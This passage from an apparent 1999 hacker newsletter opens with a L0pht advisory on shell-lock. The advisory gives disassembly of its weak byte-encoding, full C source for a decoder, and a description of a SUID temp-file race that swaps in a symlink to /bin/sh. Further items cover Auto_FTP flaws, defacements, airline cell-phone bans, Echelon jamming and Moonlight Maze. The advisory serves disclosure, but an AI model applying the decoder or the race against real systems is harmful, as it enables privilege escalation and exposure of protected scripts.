      0x16194 <codem+56>:     inc  %i4                      Increment the counter
      0x16198 <codem+60>:     srl  %i4, 0x1f, %o0          { 
      0x1619c <codem+64>:     add  %i4, %o0, %o0           { testing for odd v even
      0x161a0 <codem+68>:     andn  %o0, 1, %o0            { 
      0x161a4 <codem+72>:     cmp  %i4, %o0                {
      0x161a8 <codem+76>:     bne  0x161b8 <codem+92>      If they match
      0x161ac <codem+80>:     add  %o1, 0x63, %o2          add 0x63 to the value
      0x161b0 <codem+84>:     b  0x161c0 <codem+100>       else
      0x161b4 <codem+88>:     ld  [ %i1 ], %o0
      0x161b8 <codem+92>:     add  %o1, 0x44, %o2          add 0x44 to the value
      0x161bc <codem+96>:     ld  [ %i1 ], %o0
      0x161c0 <codem+100>:    deccc  %o0
      0x161c4 <codem+104>:    bneg  0x16228 <codem+204>
      0x161c8 <codem+108>:    st  %o0, [ %i1 ]
      0x161cc <codem+112>:    ld  [ %i1 + 4 ], %o0
      0x161d0 <codem+116>:    add  %o0, 1, %o1
      0x161d4 <codem+120>:    st  %o1, [ %i1 + 4 ]
      0x161d8 <codem+124>:    and  %o2, 0xff, %o1          and with 0xff (hey it's
      0x161dc <codem+128>:    stb  %o1, [ %o0 ]            ascii printable after all)
      0x161e0 <codem+132>:    ld  [ %i0 ], %o0
      0x161e4 <codem+136>:    deccc  %o0
      
      This basically boils down to the following C code snippit.
          for (i=0; i < strlen ; i++){
              if (!(i % 2))
                outbuff[i] = (inbuff[i] + 0x44) & 0xff;
              else
                outbuff[i] = (inbuff[i] + 0x63) & 0xff;
          }
      
      Conversely the decoding subtracts 0x44 and 0x63 alternately.
      
      What shell-lock does when it creates the initial "compiled" binary from 
      the shell script is to add the line "rm -f $0 2>/dev/null" to the bourne
      shell script (or "unlink $ZERO ; $ZERO=ENV{'X0'};\n.\nw\nq" for a perl
      script) and encodes the entire file. This is then copied into the
      data section of a skeleton binary file. The binary file, upon execution,
      reads the encoded data section and writes it out to a temporary file (*note:
      the default location is /var/tmp though it will follow the TMPDIR variable)
      and then execve's /bin/sh to call the program.
      
      The first method of extracting the data comes in using the attached program
      to read the binary and run the data section through the decoding routine.
      
      The second method of extraction is to use the current version of temp-watch
      (available freely from the L0pht advisories section) to make a copy of the
      temporary file containing the original shell code that is created when the
      binary is run.
      
      The SUID root vulnerability lies in the fact that while the temporary file
      is created without any special permissions, the file exec'ing it is running
      as root. Thus, as soon as one sees the temporary file the race condition
      exists where the user can unlink the file and replace it with a different
      file or a symlink to the program wishing to be executed. This is accomplished
      in the above example with the program temp-watch using arguments specifying
      the replacement of the temporary file with a link to /bin/sh. 
      
      Solution:
      
      Do not take candy or accept car rides from strangers. If something seems
      too good to be true it probably is. There are few magic solutions that 
      negate having to do things right in the first place.
      
      If you need a shell script to run with root priveledges consider writing 
      it in C or using something like sudo.
      
      Do not rely upon shell-lock as an obfuscation mechanism for hiding the 
      internals of shell scripts in 'compiled' binaries.
      
      
      Source Code:
      
      ---begin temp-watch---
      temp-watch can be found at http://www.l0pht.com/advisories/l0pht-watch.tar.gz
      ---end temp-watch---
      
      ---begin codem.c---
      #include <stdio.h>
      #include <stdlib.h>
      #include <sys/types.h>
      #include <unistd.h>
      #include <sys/stat.h>
      #include <fcntl.h>
      #include <string.h>
      
      void usage(char *);
      
      int main(int argc, char *argv[]){
        int fdin, fdout;
        int strlen, i, c;
        int cryptFlag=0, decryptFlag=0,seekFlag=0;
        int seekOffset=50688;
        char *infile=NULL, *outfile=NULL;
        char inbuff[8192];
        char outbuff[8192];
      
        
        while ((c = getopt(argc, argv, "cdhi:o:s:")) != EOF){
          switch (c) {
            case 'c':
              cryptFlag++;
              break;
            case 'd':
              decryptFlag++;
              break;
            case 'i':
              infile = optarg;
              break;
            case 'o':
              outfile = optarg;
              break;
            case 's':
              seekOffset = atoi(optarg);
              break;
            case 'h':
              usage(argv[0]);
              break;
            default:
              usage(argv[0]);
              break;
          }
        }
            
        if ((cryptFlag && decryptFlag) || (!cryptFlag && !decryptFlag)){
          printf("Must specify either -c or -d but not both\n");
          usage(argv[0]);
        }
      
        if (infile){
          fdin = open(infile, O_RDONLY);
          if (fdin == -1){
            perror("open infile");
          }
        } else {
          fdin = STDIN_FILENO;
        }
      
        if (outfile){
          fdout = open(outfile, O_WRONLY|O_CREAT|O_EXCL, 0644);
          if (fdout == -1){
            perror("open outfiel");
          }
        } else {
          fdout = STDOUT_FILENO;
        }
      
        memset(inbuff, '\0', sizeof(inbuff));
        memset(outbuff, '\0', sizeof(outbuff));
      
        if (decryptFlag)
          lseek(fdin, seekOffset, SEEK_SET);
      
        while ((strlen = read(fdin, inbuff, sizeof(inbuff))) != 0){
      
          for (i=0; i < strlen ; i++){
            if (cryptFlag){
              if (!(i % 2))
                outbuff[i] = (inbuff[i] + 0x44) & 0xff;
              else
                outbuff[i] = (inbuff[i] + 0x63) & 0xff;
            } else {
              if (!(i % 2))
                outbuff[i] = inbuff[i] - 0x44;
              else
                outbuff[i] = inbuff[i] - 0x63;
            }
          }
      
          write(fdout, outbuff, strlen);
        }
      
        close(fdin);
        close(fdout);
      
        return(0);
      } 
      
      void usage(char *progname){
      
        char *c;
       
        c = strrchr(progname, '/');
        if (c)
          c++;
        else
          c = progname;
      
        printf("Usage: %s -cd[h] [-i infile] [-o outfile] [-s seek] \n", c);
        printf("  Shell-lock {en,de}coder by mudge@l0pht.com and _lumpy\n");
        printf("    -c  encrypt\n");
        printf("    -d  decrypt\n");
        printf("    -h  help\n");
        printf("    -i <file> input file\n");
        printf("    -o <file> output file\n");
        printf("    -s <offset> seed offset [defaults to 50688]\n");
        exit(1);
      }
      
      ---end codem.c---
      
      .mudge
      mudge@l0pht.com
      
      @HWA
      
27.0  Hole Found in Auto_FTP 
      ~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 


      contributed by skalore 
      Auto_FTP is a local client daemon that automatically
      transfers files put into a shared directory to a remote
      ftp. While this is a good idea, the programmers did not
      take into account security issues. Nightfall Security
      Group has released an advisory on these issues. 

      Nightfall Security Group      
      http://www.nfsg.org/auto_ftp.html
      
      Auto_FTP.pl v0.2 Advisory 10/5/99
      Nightfall Security Group (www.nfsg.org)
      
      Auto_FTP.pl is a perl script that utilizes a shared directory, anytime something new is put into the shared directory it transfers it to the specified ftp site. Auto_FTP is
      available via freshmeat.net by clicking here. 
      
      Auto_FTP uses a configuration file that can be found in /etc/auto_ftp.conf, which contains the username, password and IP address of the remote ftp site in plain text.
      Thereby allowing anyone with read access to /etc to view the login and password to the ftp site. 
      
      Another problem is that the shared directory by default is /tmp/ftp_tmp which can be viewed by any users on the machine. If you are transferring sensitive material with
      Auto_FTP it won't be sensitive for much longer. 
      
      Auto_FTP does not check to see what user is sending to the shared directory. Any user on the local system could copy a file to /tmp/ftp_tmp and have it transferred to
      the ftp. 
      
      Auto_FTP in summary: 
      
      - Stores login and password for remote ftp in plaintext configuration file
      - Uses a shared directory to automatically transfer files that by default can be used and viewed by anyone
      - Auto_FTP does not check to see what user sent a specific file to the shared directory, therefore allowing anyone to copy a file to the shared directory and have it
      transferred to the ftp. (The default shared directory is /tmp/ftp_tmp).
      
      In conclusion this program while it may be a good idea does not concern itself with security precautions and is therefore not reccomended when the contents of the data
      is important. Reminder, plaintext passwords in a file that can be viewed by anyone is never a good idea. 
      
      Nightfall Security Group (www.nfsg.org)
      Advisory --AUTO_FTP.PL-- 10/5/99
      
      @HWA
      
28.0  Singaporean eduMall Defaced 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com


      contributed by no0ne 
      "owned...can we say more?" was the only message left
      in Singapore's eduMALL web site, developed by the
      Singapore Ministry of Education, the National Computer
      Board and Research Institute as well as Kent Ridge
      Digital Labs, by a hacker who goes by the name "mistuh
      clean". This is the very same text that was found last
      Monday, when the Television Corporation of Singapore
      was likewise defaced. 

      The Strait Times      
      http://straitstimes.asia1.com.sg/cyb/cyb10_1005.html
      (Note: url not found - Ed)
      
      @HWA
      
29.0  No Evidence to Support Cell Phone Ban 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 


      contributed by evilwench 
      Sorry, but this is a personal pet-peeve of ours and we
      are going to rant about it. In my opinion there is a
      conspiracy (yes, strong accusation) between the cell
      phone companies and the airlines to force you to use
      the on board telephones at a whopping $6 a minute or
      approximately $150 million a year. They force these
      ungodly rates upon you by claiming that normal cell
      phone usage may cause interference with the plane and
      cause it to crash. Funny how test after test after test
      have failed to turn up any evidence of interference from
      on board wireless devices. If cell-phones do cause
      problems then why are they allowed into terminals,
      lobbies, parking lots, etc.. and why are ground crews
      routinely given radio's to carry around? And who
      prevents cell phone usage on private and corporate
      planes? Are these multi million dollar aircraft so poorly
      built that they can not withstand a few low power
      electromagnetic radiations? (Before you send us hate
      mail saying that we are placing peoples lives in jeopardy
      please read all three pages of this article.) 

      ZD Net - Airlines Ban Cell Phones - But Why? 

      We have ranted about this topic before.
      HNN Archive for July 22, 1999
      http://www.hackernews.com/arch.html?072299
      
      HNN Archive for July 23, 1999 
      http://www.hackernews.com/arch.html?072399
      

      Things have gotten so far out of hand that at least one
      man in England has been sent to a year in jail for using
      his cell phone inside an airplane. ZD Net 

      These are the only two studies we could find on the
      possibility of wireless devices causing interference on
      board an aircraft. Neither study could find any evidence
      of such interference. 

      Computer-Related Incidents with Commercial Aircraft
      http://www.rvs.uni-bielefeld.de/publications/Incidents/ 

      Electromagnetic Interference with Aircraft Systems:
      why worry?
      http://www.rvs.uni-bielefeld.de/publications/Incidents/DOCS/Research/Rvs/Article/EMI.html
      

      </RANT MODE OFF> - for now 


      --------------------------------------------------------------
      This story was printed from ZDNN,
      located at http://www.zdnet.com/zdnn.
      --------------------------------------------------------------
      
      Airlines ban cell phones -- but why?
      By Jon G. Auerbach, WSJ Interactive Edition
      October 5, 1999 8:30 AM PT
      URL: http://www.zdnet.com/zdnn/stories/news/0,4586,2347869-3,00.html
      
      As anyone who has flown has heard, using a cellular telephone aboard an airplane is dangerous. 
      
      American Airlines warns passengers that cell phones "may interfere with the aircraft's
      communication and navigation systems." Similar warnings come from Delta, United and Continental.
      British Airways links cellular interference to potential problems with compasses and even cabin
      pressure. 
      
      What the airlines don't tell passengers is that there is no scientific evidence to support these claims.
      What concerns there are about cellular phones in airplanes dwell in the realm of anecdote and theory
      -- and to some extent in that of plain finance. There is money to be earned or lost by cell-phone
      companies and airlines if cell phones are used in-flight. 
      
      Battery of tests
      A 1996 study commissioned by the U.S. Federal Aviation Administration looked at thousands of
      flight records and failed to find a single instance in which equipment was affected by a wireless
      phone. The study was conducted by RTCA Inc., a nonprofit organization that sets industry standards
      for airplane electronics. 
      
      Plane makers Boeing Co. and Airbus Industrie have bombarded their aircraft
      with cell-phone frequencies and discovered no interference with
      communication, navigation or other systems. One likely reason that no
      problems were found: cellular phones don't operate on any of the frequencies
      used by airplane systems. 
      
      "The airlines are misleading the traveling public," says John Sheehan, who
      headed the RTCA study and says he has often used his own cell phone in the
      sky. "There is no real connection between cell-phone frequencies and the frequencies of the
      navigation" or communications systems. 
      
      Using cell phones aloft on commercial and private aircraft is banned not by the FAA but by the
      Federal Communications Commission, which regulates telephone use. In prohibiting airborne use in
      1991, the FCC was mainly concerned about cell phones' potential to interfere with ground-to-ground
      cellular transmission. 
      
      The FAA has never outlawed cell-phone use in airplanes. But the agency supports the FCC ban "for
      reasons of potential interference," according to an FAA advisory. Despite the findings of the 1996
      RTCA study, the FAA remains concerned about anecdotal evidence of cell-phone interference in
      flight records, says an FAA spokeswoman. 
      
      The FAA isn't the only party still concerned. Boeing continues to advise airlines against cell-phone
      use in the sky. That's because the electrical charge from the batteries in most handsets exceeds the
      plane maker's standards. Although Boeing's tests have never shown this to be a problem, in theory
      the electricity emanating from the device could create interference with airplane systems. 
      
      Economic incentive
      The airlines and telecommunications companies also have an economic incentive to keep cell phones
      turned off in the air. The carriers receive a cut of the revenues from the telephones installed
      onboard. The two main providers of this air-phone service, GTE Corp. and AT&T Corp., charge
      about $6 for a one-minute call, more than 20 times typical cell-phone rates. 
      
      These in-flight telephones also operate on cellular technology -- using a single airplane antenna to
      which the onboard phones are typically wired. AT&T and GTE, which recently agreed to sell its
      Airfone service, decline to discuss air-phone financial arrangements, as do several airlines. But
      Sheehan says airlines pocket about 15 percent of all air-phone revenue generated on their planes.
      GTE declines to discuss Airfone revenues, but analysts estimate the unit's annual revenues at $150
      million. 
      
      Some airlines also restrict cell-phone use on the ground, which isn't covered by the FCC ban, and
      which the FAA leaves to the airlines' discretion. Sheehan says he believes air carriers have resisted
      allowing cell-phone use on the ground because it "detracts from the revenue they get from the air
      phone." 
      
      Airlines deny this, and say the bans are for the benefit of the passengers. "We don't believe it's a
      good safety issue" to allow normal cell phones, says Andy Plews, spokesman for UAL Corp.'s
      United Airlines. "We'd like people to use the air phones."The FCC's concern about air-to-ground
      cellular interference is real enough. From high in the sky, a cell phone acts like a sponge, sucking
      capacity out of the cellular sites that carry calls. For ground users, cell phones communicate by
      connecting to one cell site at a time; from the air, because of the height and speed of an aircraft, the
      phones often make contact with several sites at once. If allowed, this would limit call capacity, which
      would mean less revenue, says Howard Sherry, chief wireless scientist at Telcordia Technologies
      Inc., formerly the research arm of the Baby Bell telephone companies, in Morristown, N.J. 
      
      The cellular signal from the air is also especially strong, since it is unimpeded by buildings or other
      ground clutter. That often means it can jump on a frequency already in use on the ground, causing
      interruptions or hang-ups. And airborne cellular calls are sometimes free because the signal is
      moving so fast between cells that the software on the ground has difficulty recording the call, says
      Bentley Alexander, a senior engineer at AT&T's wireless unit. 
      
      Jailed in England
      The FCC says no passengers in the U.S. have been prosecuted for violating its regulation because
      airlines have diligently enforced the ban. But Neil Whitehouse, a British oil worker, is serving a
      one-year jail sentence in England for refusing to switch off his cell phone on a 1998 British Airways
      flight from Spain. 
      
      Sue Redmond, a British Airways PLC spokeswoman, says Whitehouse put the plane at risk because
      cellular phones can disrupt the plane's automatic pilot, cabin-pressure controls -- and "every system
      that is needed to keep that airplane safe for flying." 
      
      One expert witness at Whitehouse's trial was Daniel Hawkes, the head of avionics systems for the
      Civil Aviation Authority, the British counterpart to the FAA. In a telephone interview, Hawkes says
      phones have a "potential for a problem," but he concedes that there is no "hard evidence" of any
      problems. Still, he says it wouldn't be wise to allow cell phones on airplanes because the constant
      chatter might annoy other passengers. "You'd probably have more instances of air rage," he says. 
      
      Indeed, the recent trend by some U.S. airlines to allow cell-phone use in planes parked at the gate
      coincides with growing passenger frustration with flight delays and poor service. These carriers
      include Northwest Airlines Corp., United, AMR Corp.'s American and Delta Air Lines Inc. Letting
      passengers chat on the ground is "good passenger service," says Delta spokesman John Kennedy. 
      
      The early days
      Cell phones on airplanes first became an issue in the late 1980s. At the time, many wireless devices,
      including laptop computers and audio-cassette players, were proliferating. The responsibility for
      setting guidelines fell to the FCC, which has joint jurisdiction with the FAA for regulating wireless
      use on aircraft. Cellular companies were overwhelmingly opposed to allowing cell phones in the air,
      but broadly supported their use in aircraft on the ground. 
      
      At first, the FAA favored banning cell phones at all times. In a 1989 letter to the FCC, the FAA
      warned that cell-phone use could "significantly increase the risk to aviation safety," whether
      "operated on the ground or in the air." 
      
      This position was supported by most of the major airlines. Trans World Airlines Inc. told the FCC
      that allowing cell-phone use, even on the ground, "could be a detriment to public safety." 
      
      The cell-phone companies were already on the record as being opposed to in-flight use -- but for
      different reasons. In a 1988 letter to the FCC, McCaw Cellular Communications Inc. wrote that air
      use could cause "highly disruptive interference to cellular systems" because of the "greatly increased
      transmitting range" that cell phones have aloft. Nynex Mobile Communications Co. warned that air
      use would "likely result in significant interference to other cellular transmission." 
      
      Debating on the ground
      As the FCC continued to mull regulations, cellular companies sought to debunk the FAA's claims of
      potential cellular interference with critical aircraft systems while the plane is on the ground. McCaw,
      Motorola Inc. and Alltel Mobile Communications Inc. -- now a unit of Alltel Corp. -- noted the
      absence of scientific studies to support these claims. If cell phones do truly interfere, Alltel wrote in
      a 1990 letter to the FCC, "one wonders why problems have not resulted from the widespread use of
      cellular telephones in airport lobbies, parking lots and other facilities in close proximity to aircraft."
      McCaw cited the wide use of walkie-talkies by airport employees and ground crews. 
      
      In 1991, the FAA backed off on ground use, saying airlines and pilots could use their own discretion.
      Later that year, the FCC passed its regulation banning airborne cellular use. The ban didn't apply to
      preinstalled air phones. As an integral part of the airplanes, those devices had to undergo strict FAA
      tests before they were allowed on planes. Those tests showed no problems. As passenger carry-ons,
      cell phones have never been run through the FAA equipment-testing process. 
      
      The installed air phones also posed no problems for cell systems on the ground. The outside aircraft
      antenna that carries the air-phone calls also connects to a ground-based cellular network -- but with
      cells that are spaced much farther apart to avoid multiple phone-to-ground links. 
      
      The issue began heating up again in 1992, when Rep. Bob Carr, then a Michigan Congressman, and
      vice chairman of the Transportation Appropriations subcommittee, asked the FAA for a detailed look
      at alleged cellular interference. Rep. Carr had been reprimanded by a United flight attendant for
      using his cell phone while a flight to Chicago was delayed on the ground in Detroit. Carr, a pilot, says
      he regularly used his cell phone while flying on commercial planes in the late 1980s. He says he is
      convinced the airline ban was, and is, "bogus" and not founded in science. The FAA asked RTCA to
      look into the issue. When anything goes wrong on a flight, pilots or operators are required to file
      "incident reports," which are collected in a database kept by the National Aeronautics and Space
      Administration. RTCA, which began its study in 1992, sifted through a decade's worth of such
      incident reports, about 70,000 in all, covering both commercial and private flights. RTCA, formerly
      called the Radio Technical Commission for Aeronautics, also was given access to confidential
      reports kept by some airlines in later years. 
      
      Of 384 incidents that pilots suspected involved electronic interference, RTCA found most were
      baseless or didn't appear to be related to any electronics. Only 10 "had the potential for being
      interference from electronic devices carried onboard," says Sheehan. Of those 10, none involved a
      cell phone. 
      
      In theory, any device that emits electronic waves -- including laptops, electronic games, pacemakers
      and hearing aids -- has the potential to cause interference to an airplane. Part of the problem is that
      airplanes are packed with a huge amount of electronic equipment, from radios and navigational
      equipment to smoke detectors and in-flight video. These systems can interfere with one another.
      Moreover, planes in the air are constantly flying through what engineers call a thick electronic soup
      of emissions from television and radio towers, satellite transmissions and other emitters. This makes
      pinpointing a single interference event in many cases nearly impossible. 
      
      Six years ago, Boeing received word that a laptop computer was suspected of shutting off the
      autopilot system on one of its jets during a commercial flight from London to Paris. The pilot
      conducted tests by turning the computer on and off, which the airline said again triggered the
      autopilot error. The airline "felt 100% confident that it was a particular laptop" causing the problem,
      says Bruce Donham, a senior electromagnetics engineer at Boeing. 
      
      Boeing sent engineers to Europe, purchased the laptop from the passenger, and tried unsuccessfully
      to re-create the problem from the same seat and during the exact time of the flight. Later, Boeing
      arranged to fly the empty plane on the London to Paris route, moving the laptop throughout the
      aircraft. No interference was discovered. The aircraft maker then brought the laptop back to Seattle
      and tested it in a Boeing lab. Donham says the tests showed no correspondence between electronic
      emissions from the laptop and the autopilot computer. 
      
      'No empirical data'
      After its study, RTCA decided to recommend allowing laptops, electronic games and CD players in
      the air because it couldn't duplicate interference. To be safe, RTCA recommended banning all
      electronics during critical phases of a flight, which are generally considered to be during takeoff and
      landing, when a plane is below 10,000 feet. 
      
      As for cell phones, RTCA's study found "no empirical data" linking their use to safety issues on the
      ground or in the air. But the RTCA ran out of money and time before it could conduct tests using
      actual cell phones in various aircraft. So the organization, acting conservatively, recommended that
      cell phones and other so-called intentional transmitters -- such as radio-controlled toys -- be banned
      in the air. 
      
      Aircraft makers conducted their own tests for interference as the use of wireless devices grew.
      Airbus, the No. 2 plane maker, was close to releasing its first fully computerized jet in the mid-1980s.
      It brought that jet, the A320, to a French Air Force base in Toulon, and parked it within 10 feet of a
      series of radar beams and electronic transmitters, including ones that simulated cell phones and other
      wireless devices, says spokesman David Venz. "There was no impact" on aircraft systems, says
      Venz. Boeing put its jets through a similar test in 1991, and no interference was found, Boeing says. 
      
      But when the airlines, concerned about growing cellular use on the ground, came to the company
      seeking guidance in 1993, Boeing advised them not to allow intentional transmitters, including cell
      phones, on the ground or during flight. Donham, the Boeing engineer, says the company adopted a
      "conservative position" because it didn't know enough to clear them. 
      
      Boeing kept testing. In 1995, engineers at the aircraft maker conducted a four-hour test on a 737,
      setting up about 20 cell phones throughout the jet and monitoring the plane's radios, navigational
      equipment and other controls. A variety of flight conditions were simulated. The results: "Absolutely
      nothing," says Donham. 
      
      Airbus has told airlines it sees no problem with onboard cell-phone use anywhere. "We haven't come
      up with any indication" that cell phones have "any negative impact," says Venz, the spokesman.
      Donham says Boeing is revising its cell-phone guidelines to suggest use on the ground is now
      acceptable. But Boeing still advises the airlines against cell-phone use in the air because the devices
      exceed the company's guidelines for electrical emissions. 
      
      Sheehan, who is also a certified pilot, notes that cell phones are regularly used on private and
      corporate planes "thousands of times every day" without incident. He says he has dialed from the air
      on many occasions. When asked whether cell phones should be included among the list of devices
      such as laptop computers that are now permitted above 10,000 feet, he says "that would be OK. It's
      not a problem." 
      
      @HWA
      
30.0  Global Jam Echelon Day 
      ~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by mea culpa 
      Echelon is a vast mythical eavesdropping network set
      up by various governments including the US, UK,
      Canada, Australia and others in order to monitor the
      world's electronic communications (telephone, email,
      fax, etc.) for subversive keywords. There seems to be
      two separate attempts to jam the service by
      overflowing it with numerous emails filled with key
      words. On October 18 the American Justice Federation
      has planned one such activity. Another grass roots
      movement has been scheduled for the day before Stop
      Police Brutality Day on October 21 in the hopes that
      legal authorities will be too busy chasing down bogus
      leads to stop any planned activities for the day. 

      Links to Info about Echelon
      http://www.wodip.opole.pl/~laslo/Echelon-links.html
      
      Wired 
      http://www.wired.com/news/news/politics/story/22102.html

      On both of these days netizens around the globe are
      implored to send out at least one email with at least one
      of the key words. While the actual list of words is not
      known it is assumed that words such as these will
      trigger the system: Kill FBI CIA NSA IRS ATF BATF DOD
      Militia gun weapon manifesto terrorism bomb Special
      Forces SOF Delta Force Constitution Mossad NASA MI5
      Revolution Terrorist       
      
      
      Hackers Ascend Upper 'Echelon'
      by James Glave 
      
      3:00 a.m.  6.Oct.99.PDT
      Mossad. Bomb. Davidian. MI5. 
      
      If the hunch of a loose-knit group of cyber-activists is correct, the above words will trip the keyword recognition filter on a global spy system
      partly managed by the US National Security Agency. 
      
      The near-mythical worldwide computer spy network reportedly scans all email, packet traffic, telephone conversations -- and more -- around the
      world, in an effort to ferret out potential terrorist or enemy communications. 
      
      Once plucked from the electronic cloud, certain keywords allegedly trigger a recording of the conversation or email in question. 
      
      Privacy activists have used the words in their signature files for years as a running schtick, but on 21 October, a group of activists orginating on
      the "hacktivist" mailing list hope to to trip up Echelon on a much wider scale. 
      
      "What is [Echelon] good for?" asked Linda Thompson, a constitutional rights attorney and chairman of the American Justice Federation. 
      
      "If you want to say we can catch criminals with it, it is insane that anyone should be able to snoop on anyone's conversations." 
      
      "Criminals ought to be caught after they commit a crime -- but police are not here to invade all our privacy to catch that two percent [of criminal
      communications]," she said. 
      
      A 1994 report by the Anti-Defamation League described Thompson as "an influential figure in the militia movement nationally." The report says the
      American Justice Federation describes itself as "a group dedicated to stopping the New World Order and getting the truth out to the American
      public." 
      
      The Anti-Defamation League says Thompson claims to have contact with militias in all 50 states. 
      
      On 21 October, Thompson, along with Doug McIntosh, a reporter for the federation's news service, and members of the hacktivism mailing list
      community, invite anyone concerned about the system to append a list of intriguing words to their emails. 
      
      Specifically, they suggest the following keywords: 
      
      FBI CIA NSA IRS ATF BATF DOD WACO RUBY RIDGE OKC OKLAHOMA CITY MILITIA GUN HANDGUN MILGOV ASSAULT RIFLE TERRORISM BOMB DRUG
      HORIUCHI KORESH DAVIDIAN KAHL POSSE COMITATUS RANDY WEAVER VICKIE WEAVER SPECIAL FORCES LINDA THOMPSON SPECIAL OPERATIONS
      GROUP SOG SOF DELTA FORCE CONSTITUTION BILL OF RIGHTS WHITEWATER POM PARK ON METER ARKANSIDE IRAN CONTRAS OLIVER NORTH
      VINCE FOSTER PROMIS MOSSAD NASA MI5 ONI CID AK47 M16 C4 MALCOLM X REVOLUTION CHEROKEE HILLARY BILL CLINTON GORE GEORGE BUSH
      WACKENHUT TERRORIST TASK FORCE 160 SPECIAL OPS 12TH GROUP 5TH GROUP SF 
      
      The campaign has spread around the Net and has been translated into German. Organizers hope "gag Echelon day" catches on on a global scale as
      a means of raising awareness of the system. 
      
      Neither the NSA, nor its UK equivalent -- the Government Communications Headquarters -- has admitted that the system exists, although its
      capabilities have been debated in the European Parliament. 
      
      Australia's Defense Signals Directorate, an agency allegedly involved in Echelon, recently admitted the existence of UKUSA, the agreement between
      five national communications agencies that reportedly governs the system. 
      
      Last fall, the Washington-based civil liberties group Free Congress Foundation sent a detailed report on the system to Congress, but the system
      was not debated. 
      
      The latest effort hopes to further boost public awareness of the system. 
      
      "Most people are angry about it," said Thompson. "When you find out it is not some science fiction movie, most people will be outraged." 
      
      But an Australian member of the activist community hopes that "jam Echelon day" will be about public awareness of technologies of political control,
      not about generating paranoia. 
      
      "Public awareness should empower -- not scare people aware from using the Net," the activist, who identified himself only as Sam, said. 
      
      Editor's Note: This Story has been corrected. The Jam Echelon Day project will be held 21 October, and coordinated by members of the
      Hacktivism mailing list. The article had incorrectly suggested that the American Justice Federation had organized the event. Wired News regrets
      the error. 
      
      @HWA
      
31.0  Vatis Creates Second International Incident 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com


      contributed by netmask 
      Michael Vatis of the National Infrastructure Protection
      Center has created a second international incident. Last
      week he blamed India and Israel among others for
      introducing back doors in Y2K code fixes. Now Russia is
      upset over implications that it attacked US cyber
      defenses in an operation known as Moonlight Maze.
      Russia's Foreign Intelligence Service has denied
      allegations that a Kremlin sponsored cyber-spy ring stole
      information from U.S. military computers. Michael Vatis
      of the U.S. Federal Bureau of Investigation told a
      Senate sub-committee Wednesday that the FBI and
      NIPC thought computer intruders located in Russia had
      filched sensitive information from U.S. military networks.
      (Someone should have a sit down talk with Vatis before
      someone gets pissed and really does attack the US.) 

      Excite News       
      http://news.excite.com/news/r/991007/05/tech-russia-usa2
      
      Russia Says Spies Not Linked To U.S. Computer Raids
                    
                                                                            Updated 5:42 AM ET October 7, 1999
    
      By Peter Graff
    
      MOSCOW (Reuters) - Reports that someone in Russia stole information from U.S. military computers do not prove a Kremlin
      cyber-spy ring has been uncovered, Russia's Foreign Intelligence Service said Thursday.
    
      Michael Vatis of the U.S. Federal Bureau of Investigation told a Senate sub-committee Wednesday the FBI thought computer
      hackers located in Russia had filched sensitive information from U.S. military networks.
    
      He was disclosing a probe, Moonlight Maze, under way for more than a year tracking what he called "a series of widespread
      intrusions into Defense Department, other federal government agencies and private sector computer networks."
    
      But Boris Labusov, spokesman for Russia's SVR Foreign Intelligence Service, told Reuters Russian spies would probably have
      been clever enough not to allow themselves to be traced.
    
      "As I understand, apparently they determined the route of the infiltrations, and the requests came from Moscow," he said.
    
      "Do you think Russian special services are so stupid as to engage in such activities directly from Moscow?...For decades
      everybody has written about how clever the KGB and Soviet intelligence are. Why should one think we suddenly became less
      clever in the last few years?"
    
      He said the culprits could have been amateur computer hackers seeking thrills, or even intelligence agents from a third country
      acting out of Moscow to avoid detection.
    
      "A web server is a public service. Anybody can connect."
    
      Russia's 275-year-old Academy of Sciences denied it had anything to do with the accusations.
    
      A U.S. official had said suspects in the case were thought to come from the academy, Russia's top scientific research body, which
      groups thousands of senior scientists at institutes and universities across the country in virtually all fields.
    
      "(Reports of intrusions) could be true: there is such a profession -- people who sneak into computer systems," academy spokesman
      Igor Milovidov told Reuters. "But we don't take part in that. That is complete gibberish." 
    
      @HWA
      
32.0  Who Were the Phone Masters Really? 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by Ender 
      An Interview with someone who not only knew the
      phonemasters personally, he learned phones from them.
      The PhoneMasters where a group recently arrested by
      the FBI for bilking the nations phone companies out of
      millions of dollars. The Interview tells us not about what
      the phonemasters did -- but about who they were and
      what they DIDN'T do. Sure, they could have turned off
      phone service to thousands of people. But they didn't.
      Find Out Why. 

      Aviary Mag 
      http://www.aviary-mag.com/Martin/The_Phonemasters_And_I/the_phonemasters_and_i.html
      
      
      In Response To: Unplugged! The biggest hack in history
      9/6/99

                                                    Brian Martin
                                                      OSAll Staff

      Original Article
      http://www.zdnet.com/filters/printerfriendly/0,6061,2345639-2,00.html
      By John Simons, WSJ Interactive Edition
      October 1, 1999 8:54 AM PT

      The Phonemasters and I

      In 1994 I was learning as much about computers and telephony as I could
      possibly take in. Had an extra 500-page manual? I'd digest it in days.
      Anything related to phones was of particular interest to me. For some
      reason, the computers that ran the phone systems were interesting and I
      found myself with an insatiable curiosity for them. Some called it an
      obsession. It was ironic that I hated talking on phones with anyone, even
      with the people sharing new information about the systems I was learning
      about. It didn't take long for me to move on to switches and systems that
      were the core of the telephone network.

      To this day, I can still say I never did anything harmful, destructive or
      malicious to any phone or computer network out there. It was all about
      learning the systems. The natural curiosity of a young man, focused on
      technology that was becoming more and more widespread. It was about
      knowledge and nothing else.

      You find yourself a newcomer to the concept of hacking, new to technology
      and learning. Who do you turn to? If you are truly into it because of the love
      of the system, anyone is willing to help. That´s how I ran into two of the
      'phonemasters' back in 1994. Fortunate for me, I ran into some of the best
      teachers I have ever encountered. Given that one of my primary functions in
      my current professional life is teaching government agencies and fortune 500
      companies, that statement shouldn't be taken lightly.

      I remember my first talk with one of the phonemasters. He was soft-spoken
      from the beginning, talking with a cool and reserved voice. When it came to
      phone systems, his voice became that of an expert. The information and
      advice he passed on to me was flawless. If I didn't know better, I could have
      easily believed he was an employee of the phone company, or some other
      expert professional in the industry. It didn't take long for our e-mail to lead to
